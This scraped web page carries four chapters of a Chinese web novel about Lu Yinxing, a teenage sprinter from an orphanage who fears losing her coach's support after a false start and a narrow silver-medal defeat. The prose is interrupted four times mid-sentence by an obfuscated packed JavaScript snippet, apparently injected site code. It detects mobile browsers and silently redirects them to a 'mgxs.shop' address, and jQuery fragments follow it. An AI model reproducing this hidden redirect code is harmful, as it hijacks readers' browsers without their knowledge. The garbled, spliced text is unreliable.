《十秒人生 [短跑]》
2. 选拔
发令枪根本没有响,她抢跑了。
路银星转身,看向起跑线上纹丝未动的竞争对手,不得不承认这个残酷的现实。
从2010年开始,世界田联就严格执行起了零抢跑的规则。只要起跑反应时快于0.1秒,那么就会被直接红牌罚下,没有任何转寰的余地。
路银星毕竟是赛前的热门夺冠选手,现在被罚下相当于直接少了一个有竞争力的对手。
同场竞技的运动员们表情各异,有人惊诧,也有人在窃喜。
路银星怔怔地呆站在了跑道上,被“嗡嗡”的耳鸣声环绕。
直到裁判礼貌上前把她撵走,她才慢半拍地抬脚。
“您好,请您离开比赛场地。”
“......好。”
黄教练已经冲到了赛场边,对着走下场的路银星劈头盖脸来了一顿质问。
“你刚怎么会犯这么低级的错误呢?如果只是压哨失误就算了,这哨子完全没响啊,你怎么就冲出去了?”
“之前半决赛你的起跑就不太好,后面技术动作变形,你自己心里也有数。为什么明明上午还好好的,下午心态就炸成这样了?”
大概是突然想起明天还有一场200米的比赛,黄教练张了张嘴,硬生生把更多的质问咽了回去,换上了一副关心的模样。
“是不是还在担心之前的脚伤?如果你不放心,咱们今天就再让宋医生给你检查一下,为明天的200米确保万无一失。”
路银星看着不断输出的黄教练,恍惚走神的同时,一种莫名其妙的恐惧感油然而生。
如果说黄教练对自己的所有关心全然依托在自己能够为他带来现实收益的基础之上的话,那自己今日的溃败也许会让黄教练产生抛弃她的想法。
抛弃......
这两个字让路银星不由打了个寒颤。
“好。”路银星深呼吸,心里对明日的200米比赛更多了一份紧张,“检查一下也好。”
黄教练悄然松了口气:“你就是心理压力太大了。在现在这个阶段遇到这种情况,从某种意义上来,也是件好事,都是锻炼的机会。”
-
医务室。
宋医生又仔仔细细地给路银星之前崴到的脚腕做了细致的检查。
她推了推鼻梁上的无边框眼镜,对路银星和黄力笃定地说道:“之前韧带的轻微撕裂已经完全好了,正常强度的训练和比赛都没问题。”
黄教练转头看向路银星,劝说道:“你看,宋医生都再三确认过了,你这心理包袱是不是能放下来了?”
路银星确实有心理包袱,但她总不能对着黄教练说,不是因为旧伤,而是因为你的假意吧?
“明天的200米,咱们在出发上可以更求稳一些,至少先有个成绩,后半段是有条件去追的。你的能力比其他选手来说,还是很有优势的。”
路银星点了点头,应下关心。
“我会努力的。”
“好孩子!”黄教练拍了拍路银星的肩膀,鼓励道,“今天的事儿就别想太多了,先回宾馆休息吧。”
“如果你有任何身体上不舒服的地方,可以随时来找我。”宋医生温柔地补充道。
“好。”路银星木讷地点头。
-
晚上,路银星躺在宾馆房间的大床上,翻来覆去睡不着觉。
她长叹了一口气,以平躺的姿势呆呆地望着天花板,复杂的情绪随着回忆汹涌而来,将她吞没。
路银星是在小学六年级的时候被黄教练选中的,彼时她十二岁。
正如黄教练所说的那样,她是福利院里没人领养的大龄女孩。加上瘦得和根竹竿似的,形象上也不太讨喜。
福利院说到底是无法盈利的福利机构,平时能给到孩子们的条件有限,到了十八岁后,没有收养家庭的孩子也需要寻找自力更生的法子。
路银星想通过考上大城市的大学来改变命运,但现实很快给了她沉重的一击。
福利院的学区很差。糟糕的地理位置、孱弱的师资力量,加上由留守儿童和孤儿组成的不上心的同学们,让她的梦想看起来遥不可及。
只要随手翻一翻她即将升入的初中的往年升学率,可预知的未来便朝她招手了。
路银星心里清楚地知道,如果一直待在这个不太发达的乡镇读书,她可能根本考不上大学。
但是想要从福利院离开,又谈何容易?
直到,距离这儿三、四百公里外的一所六年制私立学校,程远中学田径部的教练正到处选拔好苗子。
程远中学是这十年来新起的一所私立学校,里面有钱人的孩子不少,办学理念也是更偏向德智体美劳全面发展的素质教育的路子。
因此,在各类体育队伍的建设上,程远也是足够财大气粗,从师资到设施都是顶级不说,这几年还准备再给一些全额资助的特长生名额。
照理说,一般选拔是不会来到路银星所在的穷乡僻壤进行的。但奈何程远确实有钱,谁也无法拒绝公费旅行活动。
那次选拔的地点是在镇上最好的一所小学进行的,声势浩大。
福利院路院长打听到机会后,特意托熟人把路银星塞进了学校的操场上。
“短跑?我吗?”路银星歪着头问路院长。
路院长摸了摸路银星毛茸茸的脑袋,蹲下认真地对她说:“你不是平时总是喜欢去田里跑步吗?我觉得,你很适合这个机会。”
她确实喜欢在心情低落的时候,去张开双臂奔跑,去拥抱风和阳光,那让她能感到自由自在的畅快。
但是在田间地头跑步这么简单而不正式的活动,竟然也能成为值得大张旗鼓选拔的事儿吗?
路银星不解的同时,对自己也没太多自信。
“可我也没训练过,我真的可以吗?”
“你知道我为什么给你取名银星吗?”路院长问道。
路银星摇摇头,她只知道自己是跟着院长妈妈姓路,名字也是路院长取的。
“刚出生没几个月的你被丢在垃圾桶边,差点儿死掉,却很顽强地没有,撑到了我找到你。”
路院长的声音温柔,但充满力量。
“李白有一首诗叫侠客行,里面有一句我很喜欢。银鞍照白马,飒沓如流星。”
“当医生把你从鬼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426896|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门关救回来的时候,我一下就觉得这个名字,再适合你不过了。”
路银星似懂非懂地点点头,排在浩浩荡荡的队伍里做着各种测试。
测量完身高体重臂展腿长这些基础的信息后,当时的黄教练是这样评价她的。
“身高臂展腿长不错,但有点儿太瘦了。”
路银星接着又跟着其他小朋友参加了一场测试赛。
那是她短跑生涯的第一场正式比赛。
路银星蹬着一双有些开胶的旧帆布鞋,学着身旁人的起跑姿势,安静地站在了起跑线上。
当时的她,脑袋里的想法很简单纯粹。
她必须要努力冲刺,不辜负路院长的期待,抓住这个宝贵的机会,去到更广阔的天地。
哨声响起后,一整排的孩子们争先恐后地冲了出去。
操场的塑胶跑道比坑洼不平的田埂条件好太多,。
路银星和平时一样,只是步子迈得更大些,频率加得更快些。
她全凭本能在跑步,但整个过程异常顺利。
一百米的跑道之上,路银星渐渐超过了一个又一个同伴,最终以小组第一的身份冲过终点。
黄力掐了下秒表。
整组成绩都记录完成,黄力转头和另一位教练对了一下两人手记的成绩,不禁挑了下眉毛。
“最快的小姑娘平均跑了13秒48。”另一位教练一下注意到了路银星的成绩,“是比到现在最快的。”
这是手记的成绩,由裁判肉眼观察并按下秒表。国际大赛都是用的电记时设备,但乡村小学硬件条件有限。
通常来说,手记的成绩比电记快,因此差不多需要加上0.24秒,以此换算成电记成绩。
就算如此,13秒72,放在这个看起来瘦到有些营养不良的女孩身上,也是一个很惊艳的成绩了。
“确实挺快的,而且她身上可丝毫没有训练痕迹,说明很有天赋。”黄力若有所思地摸了摸下巴,“可以去找找她的资料。”
那时的路银星,根本没有想到这里,这一次跑步成为了她命运发生翻天覆地变化的起点。
-
这一晚路银星睡得很不踏实,凌乱的记忆像是梦魇,不断闯进她的脑海。
路银星一大清早是被惊醒的,额头冒出了细密的汗珠。
她掀开被子起身去洗漱,刷完牙抬头的时候,视线猛然和镜子里那对沉重的黑眼圈撞上。
路银星深呼吸,对着镜子里的自己默默说道:希望今天可别掉链子了。
参加比赛的所有选手都被安排在这个宾馆,因此早饭时间的餐厅难免会听到些八卦。
比如,背后那一桌两位短跑运动员的话题,
“我还以为路银星是大魔王来着。结果昨天100米决赛直接抢跑被罚下了,这也太尴尬了。”
“你说今天200米的比赛,她会不会继续发挥失常?其实我没什么远大志向,只想捡漏块牌子,谁叫今年这比赛竞争也太激烈了!”
“谁知道呢!比赛心态这种事儿最玄乎了。”
......
路银星这一顿早饭吃得心不在焉。
3. 银牌
J省青少年田径锦标赛,15-16岁组,女子200米半决赛,准时拉开帷幕。
上场前,黄教练看着路银星的黑眼圈,焦虑地在现场踱步。
“你昨晚没睡好?太紧张了吗?可是以前省级比赛,你都没有这样心态失衡过啊。”
黄教练不禁碎碎念起来。
“你等会儿比赛就放轻松,没必要太追求起跑反应时间。只要咱们能发挥出平时训练时候的水平,就足够用了。”
路银星沉默点头,一一应下。
经过一天多的时间调整,她现在的心理状态倒是没昨天那么糟糕了。
但要真正做到坦然面对黄教练,完完全全恢复到平时的心态,路银星也没办法做到。
比赛是推着人走的,从站在起跑线的那刻起,就没有回头路。
“各就位,预备——”
砰的枪声后,路银星慢半拍地出发了。
所有对手都在眼前的感觉,让她很不爽。
好在,这一组半决赛选手的水平都不是很高。
路银星在后半程奋起直追,终于还是超过了绝大多数的选手,以第二名晋级到了决赛。
她低着头扶着膝盖喘气,在心里不断地告诉自己,这个成绩是远远不够的,决赛她一定要跑得更快。
“半决赛追得不错,尤其是弯道技术动作保持得很好。不过......虽然我说起跑反应不用太在意,但刚才这个起跑有点儿太慢了。”
黄教练眉头展开又皱起。
“决赛精神要更集中些,确保不抢跑的前提下,尽可能在起跑这个环节不要落后太多。”
“好。”路银星只是一味地答应。
黄教练的话就像一块大石头,始终压在心脏上。她只是渐渐习惯了石头,但是却不知道怎么把石头挪走。
但黄教练始终沉浸在自己的指导中,完全没意识到路银星这两天以来的异常。又或者说,他觉得那只是正常的大赛前的心理波动,让平时就不爱说话的路银星更加沉默寡言罢了。
两小时后,决赛开跑。
路银星难得在200米中拿到这么靠外的道次,这儿比较难以观察对手。
但路银星心里清楚地明白,这是她本次J省青少年田径锦标赛最后能证明自己的机会,证明她是值得被
压力在无形中一点点加码。
她干脆甩了甩手,拍打了好几下大腿,让身体强制开机,提升反应能力。
路银星看着眼前的赛道,脑海中把黄教练之前说过的技术要点重新温故知新了一回,手掌在下意识中拍打得更狠。
她的大腿霎时间红了一大片,但她却完全没有感觉到一般,面无表情地做着最后的拉伸。
黄力在观众席殷切地望着,心里跟着紧张起来,手攥紧紧的。
领队比黄力先一步嗅到了空气中不同寻常的气氛,旁敲侧击地问道:“我觉得路银星这次心理状态有点反常,结束了比赛,你要不找个机会好好和她谈谈心。如果有什么心结,还是及时解开比较好。”
“十几岁的小朋友能有什么心结?我从来就不信他们抑郁之类的话。”黄力不以为意地摆摆手,“路银星她就是大赛历练得太少,心理素质还是太差,得靠自己去调节啊。”
“也不完全是这样。”领队欲言又止,最后还是抿了抿嘴,“算了,看看路银星的发挥吧。”
这一次,路银星的专注度比之前高了不少,起跑反应更快了。
黄力的嘴角不禁勾起,一脸笃定道:“之前她就是大赛经验不足导致的,这次反应就正常了。”
一出发,路银星便打起了十二分精神,拼命迈着双腿、摆动双臂。
但不知道是不是太想要发挥出水平,太想拿到这枚宝贵的金牌,路银星在弯道上的倾斜角度出现了微妙的不平衡。
其他人可能看不出来,但作为对路银星十分了解的黄力教练,还是察觉到了不对劲。
他看得着急,直拍大腿。
“哎哎哎!半决赛不是还好好的吗?怎么决赛在弯道上却掉链子?”
但跑道上的路银星本人,此时是很难发现这些微小的差别的。
她的全部精神都被汇集在了想赢这个念头上,以至于动作的细节被悄然地忽略了。
冲出弯道后,路银星的胜负欲更是燃烧得热烈。
尤其是她的视野里猛然出现了另一名选手的背影的时候,她脑海里警铃大作。
毫秒之间,路银星的身体不自觉僵硬了一下。
没有绝对优势的情况下,任何的失误都会对结果造成决定性的影响。
后一百米的直道过了三分之一,路银星还是和第一名有着一个身位的差距。
不!现在还不是轻言放弃的时候!
路银星紧紧咬着后槽牙,克服着腿部堆积如山的乳酸带来的疲惫,继续奋力加速。
这是她这趟省锦标赛最后能证明自己的机会了。
现在,还剩下十米......
呼吸,迈腿,摆臂。
路银星此刻的身体其实已经不太听大脑的指挥,单纯是靠肌肉记忆和意志力在撑着拼命。
强烈胜负欲驱动下的本能力量,让路银星逐渐和第一名追平。
最后五米,两人不相上下。
紧接着,她们同时冲过了终点线,差距微小到肉眼几乎难以分辨。
终点线后,路银星呼呼喘着粗气,心跳因为剧烈运动和等待的紧张,砰砰响得几乎要跳出胸膛。
“谁赢了?”领队好奇地问黄力。
黄力浑身肌肉紧绷,摇了摇头,低沉着声音道:“还不知道,需要等电子计时器的结果。”
“这个曹心怡是隔壁N市第一中学的吧?他们什么时候也开始搞体育了?”
曹心怡便是和路银星同时过线的女生,她现在站在路银星身旁不远处,目不转睛地盯着屏幕,同样焦急地等待着结果。
“我听说是上一年引进了一个前国家田径队的做教练,也去选了些苗子,这不就跑出来了么。”黄力道。
“前国家队的?”领队一下想到了程远中学里的那位,撇撇嘴,“我们这儿不是也有尊大佛吗?可惜,进来光想着养老了。”
“你说林风?她是挺佛系的,也就带带体育课。”
黄力的心态和领队可不同,他甚至希望林风能更佛一点儿。
“不管事儿也挺好,我本来还担心和我抢人或者说要改训练方案呢!现在这样,田径队的奖金基本都能归我的选手,她也不累着,皆大欢喜啊。”
谈话间,大屏幕上关于女子15-16岁组200米的最终成绩终于揭晓。
第一名曹心怡 25秒62
第二名路银星 25秒64
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426897|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看到成绩的瞬间,路银星感觉浑身的血液一下凉透了。
她输了......输了微乎其微的0.02秒。
差一点点,就真的只差一点点她就能拿到这块金牌的。
路银星挫败地垂下了头,她不知道该怎么面对黄教练。
“你跑得很快。”一道清亮的女声打断了她烦乱的思绪。
“什么?”路银星抬起头,发现是曹心怡,那个拿第一的选手。
“我是说你特别厉害!!”曹心怡的一双眸子亮晶晶的,讲话摇头晃脑的,“你这两年来包揽了100米和200米的冠军,我能从你的手里抢下来这块金牌,运气真是太好了!”
曹心怡这句话其实是想表达自己对路银星实力的肯定和崇拜。但在已经走到思想死胡同的路银星的耳朵里,这话就莫名变了点儿味道。
你看,她就是被抛弃的那个人,连幸运女神都不站在自己这头。
路银星在心里苦笑,勉强挤出一个笑脸道:“恭喜。”
“谢谢!”曹心怡笑脸盈盈,欢快地大步流星地跑去找教练了。
路银星远远地看着曹心怡和教练激情相拥的美好和谐画面,心里不禁泛起酸意。
她这个失败者,配不上这么幸福的结局。
“没事儿,就是差了点运气。你200米的发挥还不错,主要是弯道技术之前说的倾斜角度的问题,又没太注意到。”
黄教练看起来没生气,也没说狠话,只是碎碎念地分析着刚才决赛的具体情况。
“下次咱们再努力拿金牌。”黄教练拍拍路银星的肩头。
“好。”路银星舒了口气。
还好,自己没被现在就被抛弃。
她在心里暗暗发誓,回去之后一定要加倍训练,证明自己存在的价值。
-
路银星带着一枚银牌结束了她本次J省青少年田径锦标赛之旅。
程远中学对金牌和银牌的奖励差距很大,黄教练的奖金因此大大缩水。
办公室里,黄力看着工资卡最新入账提醒,叹了口气。
“唉,少了一万呢。我本来说想要给家里换个音质好的大牌音响来着,现在估计是还得再等等了。”
男子篮球队教练啧啧两声,插话道:“黄力你可别再凡尔赛了啊,我们办公室每次就你奖金赚得最多!你们也知道,我这篮球队的可都是来为了出国来混个体育经验的少爷们,惹不起啊惹不起。”
“就是!你这儿成绩好,经费也足。我看主任又同意你去初中部搞一次选拔了,梯队建设都有着落了呀。”接话的是另一位带足球队的教练。
“哎呀!希望这次初中部能有好苗子吧!”黄力抿了口茶,“路银星努力是挺努力的,但就是这心理素质还是不太行。”
“小朋友么,都需要多给锻炼的机会。”
办公室里,大家有一句没一句地聊着天,气氛热烈。
只有坐在角落工位的林风全程没参与话题。
她的工位很富有生活气息,沿着窗台摆着很多盆绿植。它们不修边幅地沐浴在阳光下,长得肆意而繁茂。
办公桌的边上摞了好几堆书,围着林风的工位,像是筑起了一道小小的围墙。
林风本人正躺在她那张沙发椅上,沐浴着窗外的阳光小憩,脸上盖着一本看到一半的小说。
悠闲、自在又惬意。
4. 疯子
五点,闹钟准时响起。
但只响了一声,路银星就快速摁掉了手机。她噌的一下,直挺挺从床上坐起身。
实际上,她在凌晨四点五十的时候就被噩梦惊醒了。
路银星梦到自己因为没有拿到冠军,黄教练冷漠地说程远中学不能再给她提供奖学金,她被送回了福利院,再次变成了没人要的孩子。
那种被抛弃的恐慌像梦魇一般缠着路银星,让她这一个月来的睡眠质量都大大降低,三番五次半夜惊醒。
路银星蹑手蹑脚地下了床,打开水龙头,用冷冰冰的自来水拍在脸上,给烦躁的心情降降温。
接着,她便悄然从宿舍离开了去操场了。
这是她每天雷打不动的早训时间。只是之前路银星是在五点半起床。而在经历了省赛的失败后,她将这个时间又往前提了半个小时。
现在不是赛前集训期,早上五点的操场空空荡荡的。
路银星独自在鲜红的跑道上慢跑,一圈又一圈,让身体逐渐活跃起来。
一般来说,慢跑半个小时后,她就会进行一些拉伸,在六点半去到食堂吃早饭。
但今天,她跑了十几圈也还没停下。
路银星的脑袋里乱糟糟的,各种复杂的情绪窜来窜去,怎么跑都甩不掉。
今天下午将会举行一周一次的队内测试赛。虽然路银星在队内没有遇到过任何对手,但她已经连续三个礼拜没有跑进13秒内了。
最让路银星心烦意乱的是,她这一个月来的100米持续在13秒10徘徊,以至于最佳成绩竟然停留在之前省赛半决赛的13秒01。
这还是在教练手记成绩的情况下,也就是说,她实际成绩可能只有13秒30左右。
这个成绩对于U16女子100米运动员来说,是完全不够看的。
从福利院离开后,路银星还没有经历过如此低迷不振的时期,
因此,路银星最近很挫败,并试图用加倍的训练让自己重回正轨。
汗水从额头滴落,时钟滴答悄然来到了六点一刻。
路银星终于缓缓停下来了,但她并没有去做结束训练前的拉伸,而是走到了一百米的起点线。
不知道该怎么办的时候,路银星喜欢用跑步麻痹自己。
在福利院的时候,她喜欢会去田间奔跑,现在来到程远中学,她也喜欢在操场上冲刺。
路银星从起点线出发,在一百米的直道上用尽她所能的最快速度迎着风冲刺,挺着胸膛冲过终点。
她慢慢走回起点,几乎没有任何休息,便再次从起点飞奔而出,向终点冲去。
一百米的跑道上,路银星就这么冲刺过去又走回来,再冲刺过去,再走回来。
循环往复,直到身体发出警报,路银星才不得不停下脚步。
连续高强度的百米冲刺让她的心率飙得飞快,整张脸红彤彤的,汗如雨下,T恤都被浸透了。
路银星在跑道上扶着膝盖,低着头拼命张大嘴喘着粗气,表情狰狞。
不远处,穿着运动套装的林风正一边看小说一边朝办公室走去。
余光扫到操场的时候,林风不自觉停下了脚步。
她瞥了一眼路银星,摇摇头道:“真是个小疯子。”
被称为小疯子的路银星没有忘记最后的拉伸,在操场上放松着因乳酸堆积而酸痛的身体。
因为今天加训了太多,路银星到达食堂的时候,已经是七点十五,距离早自习开始只剩下十五分钟,档口里不剩下什么早点了。
路银星也不挑。一碗白粥、一个咸鸭蛋,再加上两个肉包子,她狼吞虎咽地就吃完了。
程远中学要求所有特长生参与正常的学习,早上到下午三点的课程都需要参加,之后才是每个队的训练时间。
据说,这是程远中学投资人的要求,希望就算是特长生,也能好好地享受学校优质的师资和各类资源,尽可能有更多的选择和机会。
路银星起得太早,一上课就开始犯困打瞌睡,头一点一点的,进入了一种半梦半醒的状态。
但完全不听课也是不行的,毕竟每天路银星还要完成各科作业,还要去参加各种月考期末考,甚至是不远将来的高考。
想到这儿,路银星就不禁打了个寒颤,醒过来继续听课做笔记。
-
下午三点,田径队准时开始训练。
路银星沉默地站在队伍里,按部就班地做着慢跑热身,又高质量地交替完成了好几组小步跑、高抬腿和后踢跑。
黄教练看着队员们各异的动作,不禁在一旁操心又唠叨起来。
“小汪,你不许偷懒!还有一组,我看着呢!”
“动作怎么做一半就算是全做了?吴同学,你这个高抬腿要抬高呀!”
“快点儿快点儿,你是在训练还是在散步?”
指点完一圈,末了,黄力的视线落在了路银星的身上。
“果然,还是你最让我省心。”
黄力吹了下哨子,说道:“休息一会儿,等会儿咱们进行起跑专项训练,然后是组合跑,最后再做测试。”
队员们散漫地道了声好,三五成群地聊起天来。
大概是黄教练刚才又夸了路银星,有些人便对此颇有微词。
“训练认真有什么用?最近的成绩还不是一路倒退。”
“你小声点儿,她在旁边呢。”
“在又如何?反正她从来不会和我们说什么话,孤僻得很。”
如这人所说的一样,路银星听到流言蜚语也没什么反应,只是继续自顾自地多做了一组高抬腿和后踢跑。
她害怕的始终是抛弃,其他人的闲言碎语,她并不在意。
更何况,从一定程度上,路银星觉得那人说得没错,她最近的成绩确实越来越差。她必须要通过加倍的努力向黄教练证明,她是值得被留下的人。
先进行的是蹲踞式起跑专项的训练,除了常规的蹬摆衔接和重心前移的提升,黄力还安排了不同信号起跑的环节。
“等会儿我在喊完各就位预备之后,会间隔不同时间再喊跑,大家和之前一样,跑出去二三米即可。”
黄力眼神严肃地一一扫过队员们。
“各位一定给我集中注意力。抢跑或者反应太慢的,等会儿都要罚做一圈蛙跳。”
这样的训练主要是为了防止大家养成猜枪的不良习惯,之后到了大赛上不适应,反而会抢跑或者反应慢半拍。
对于别人来说,这个训练可能没什么特别的。但路银星刚刚经历了省赛100米决赛的抢跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426898|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风波,神经总是更敏感的。
她在心里默默给自己鼓劲儿,希望别再犯抢跑这种低级错误。
“各就位,预备——”
黄教练在说完预备之后,就陷入了沉默。
三秒、四秒、五秒,毫无动静。
度秒如年说的大概就是路银星现在的心态。
终于,在路银星心里默念到七的时候,黄教练的“跑”字出了口。
等待结束,路银星飞奔而出。
大家反应基本都很及时,黄力满意地点了点头,让大家重新回到起跑线。
第二次发令的间隔也不短,大约过了五秒,跑字才说出口。
紧接着的第三次,就在大家以为还要等很久才能跑的时候,黄教练又出其不意地,仅仅间隔两秒就发了令。
有一些自以为找到了规律的人,一下被喊了个措手不及,起跑反应显然慢了不少,蹬摆衔接的技术动作也跟着出现了问题。
黄力看得头疼地扶额:“能不能认真听!慢了的点儿自觉点去蛙跳。”
路银星因为紧绷的神经逃过一劫。
黄教练又进行了五六次不同秒数间隔的起跑发令,路银星高度紧绷的神经就这么经历着痛苦的折磨后,小心翼翼地避免犯错。
黄教练:“还有最后一次,希望大家都能顺利过关。”
路银星在起点线上做着深呼吸,不断地在心里给自己上紧发条。
等下可不容有任何失误!
可皮筋紧绷到一定程度,再拉它的时候,就会断掉。这是一个通俗易懂的道理。
路银星脑海中的那根皮筋,在经历了省赛抢跑、200米摘银,以及这一个月以来的糟糕成绩的拉扯下,早已到了濒临断裂的程度。
而黄教练今天的不同信号起跑训练,便成了压在路银星神经上的最后一根稻草。
“预备——”之后,路银星胸口莫名升起一阵烦躁。
她控住不住思绪纷飞,想起省赛抢跑,又想起自己最近的颓靡,更有一瞬间回忆起从福利院离开的那次选拔。
“跑!”
以至于黄教练的口令响起,路银星还在神游。
当其他队友冲出起跑线,她才姗姗意识到自己也该出发了。
这次倒没有抢跑,但这小差开得有些太离谱了。
“路银星你......”
黄教练大概是没想到这么低级的错误也能发生,一时之间竟不知道说什么好。
“抱歉,我刚走神了,我现在就去蛙跳。”路银星直接认错,用极其标准的蛙跳姿势,沿着跑道行进。
“好。”黄教练叹了口气,然后点名了其他几位在起跑中出现问题的队员,“你们愣着干嘛?一起啊!”
在一行蛙跳的队员中,路银星的动作是最标准的,每一个跳都完成得一丝不苟。
好不容易跳完一圈之后,很多人都瘫倒在了操场上。
“行,大家休息一会儿。”黄教练道。
可路银星却没有停下,她默默地继续着蛙跳。
黄教练诧异地看着路银星,张了张嘴,还是没阻止她。
刚结束完一圈蛙跳的同学嘴角抽搐地看着路银星。“她疯了吧?”
另一个人耸耸肩:“她不是一向这么疯么?”
5. 林风
路银星又闷头完成了一圈蛙跳,这才喘着气坐到一旁休息片刻。
之后的组合跑对于路银星没什么难度。除了偶尔在听起跑的时候会身体僵硬一下,她如往常一样游刃有余地完成了所有项目。
最让路银星紧张的,还是最后的每周例行测试。
毕竟在连续没有跑进13秒内的阴影笼罩下,路银星的心理压力逐渐增加。更别提一小时前,她心里那根紧绷的弦已然断过一回。
但也是因为那根紧绷的心弦断过,积攒的紧张和焦虑以某种方式被释放出不少,路银星反倒生出了更汹涌澎湃的斗志。
黄教练拿着计时器和记分板,对队员们说道:“分两组跑,我叫到名字的先来。”
“路银星,来第一道。”
黄教练是按照上次测试的成绩顺序叫名字的,路银星是第一个。
只是站在起跑线上,路银星的心跳就不自主地一路加速狂飙。
她将手放在胸口,感受着心脏咚咚的有力跳动。
路银星太想跑进13秒了。那种被抑制了太久的渴望让她浑身的肌肉都被调动了起来,跃跃欲试地想要再证明自己一次。
“各就位,预备——”
黄教练开口,路银星立即抬起臀部将重心前移,抬起头,用灼灼的目光盯着百米之外的终点。
她,准备好了。
“嘟——”黄力吹响哨子。
路银星立刻如离弦之箭一般飞奔而出。
这一次的出发很顺利,反应迅速,蹬摆衔接得很顺畅。启动后的步伐也很协调,中段的速度起来后一直保持得很好。
百米过半有余,路银星的前方只有旷阔的跑道和近在眼前的终点线。
她急促地深吸一口气,开始拼了命地向前,做着最后的冲刺。
还有十米、九米、八米......
路银星的脑袋里只有冲刺、再冲刺。
终于,当身体冲过终点线的那刻,她才一下将身体攒着的劲儿慢慢释放出来。
“黄教练,时间是多少?”路银星气还没匀顺,就迫不及待地朝黄力问道。
黄教练将所有人的计时一一完成,脸上带着笑意,欣慰地对路银星说道:“12秒63,这次跑得不错!”
路银星的眼睛一下亮了起来。
成功了!
她跑进了13秒了!!
哪怕是加上手记成绩通常多出的0.2秒,她仍然达成了自己的目标!
这成绩才是她平常正常的发挥。虽然比起巅峰期的12秒刚出头的成绩还是有点儿距离,但好歹终于有起色了。
路银星深深地舒了一口气。
果然,自己之前的加训都是有用的。只要不断付出比别人两倍三倍的努力,总会有可能找到回到最佳状态的办法的。
两组队员都比完后,黄教练再次来到路银星身边,语重心长地拍了拍她的肩膀。
“我之前还担心你会一蹶不振,看到你听起跑走神的时候更是为你捏把汗。好在你现在自己重新找到状态,咱们之后再接再厉,争取把失去的冠军再夺回来。”黄力碎碎念着。
路银星一直提着的心在此刻也总算放下了。
你看,只要自己的成绩提高,黄教练就会重新肯定自己的价值。
哪怕黄力看中的是自己能够带来的奖金和利益又如何?只要能够让他断了放弃自己的念头,那就足够了。
路银星承认,她跑步的动机不单纯,甚至有些功利。
但跑步确确实实帮自己走出了福利院,走到了这个光怪陆离的大城市,获得了人生更多的可能性。
所以,她会把跑步这件事儿当作奋斗的目标,跑出成绩给所有人看,并且,为之付出百分之两百的努力。
路银星抬头道:“黄教练,我能借一下秒表吗?我想等会儿自己再练习一会儿,结束了我就放回办公室。”
黄教练愣了一下,便点头将秒表递给了路银星。
“行,但你注意点儿,也别太拼了。”
“好。”路银星应下,抬头看了眼逐渐变成绯红色的天空。
九月的日落来得比夏季更早些。
结束训练的时间已经是六点半,借着夕阳余晖,她大概还能再跑半小时。
路银星一边在心中盘算着等会儿的加训计划,一边简单放松了下三个小时训练而略显酸痛的肌肉。
没什么多余的时间给她浪费了。
路银星走到起跑线上,手里紧紧攥着秒表,眼神里闪烁着燃烧的小火苗。
她自己给自己掐秒表,站立式起跑时开始计时,奔跑至终点的时候再结束计时。
虽然有些麻烦也存在一定的误差,但能对自己的练习有更多了解,算是好处。
因为刚刚恢复13秒内的成绩,路银星的劲头很足。
她一连跑了五六趟,每趟之间休息时间不过几分钟。
虽然这强度很高,让路银星身体疲惫不堪,但看着秒表上稳定12秒60左右的成绩,她便无视了身体的警告。
太阳已经完全没入地平线以下,天空从燃烧的橘红色渐渐冷静下来,变成了深邃的蓝调。
路银星又拼尽全力跑了一趟,终于是累得连站起来的力气都没了。
她干脆一下躺在了跑道上,胸口起伏呼吸,风拂过身体。
路银星平静地看着天空的蓝调逐渐浓重。
她发现自己好像从来没这么看过天空。原来,蓝色也是有不同层次的。
突然,一道女声打破了操场的寂静。
“同学,太阳都跑累了,我也要下班了。”
路银星看了眼对方的打扮和样貌,不太转的脑袋运转了好一会儿,才想起这位是体育组的林老师。
林老师不带任何的队伍,平时也神出鬼没通常看不到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426899|200876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,因此路银星对她没什么印象。
“我等会儿就回去。”路银星说着,身体却还是躺在操场上没动弹。
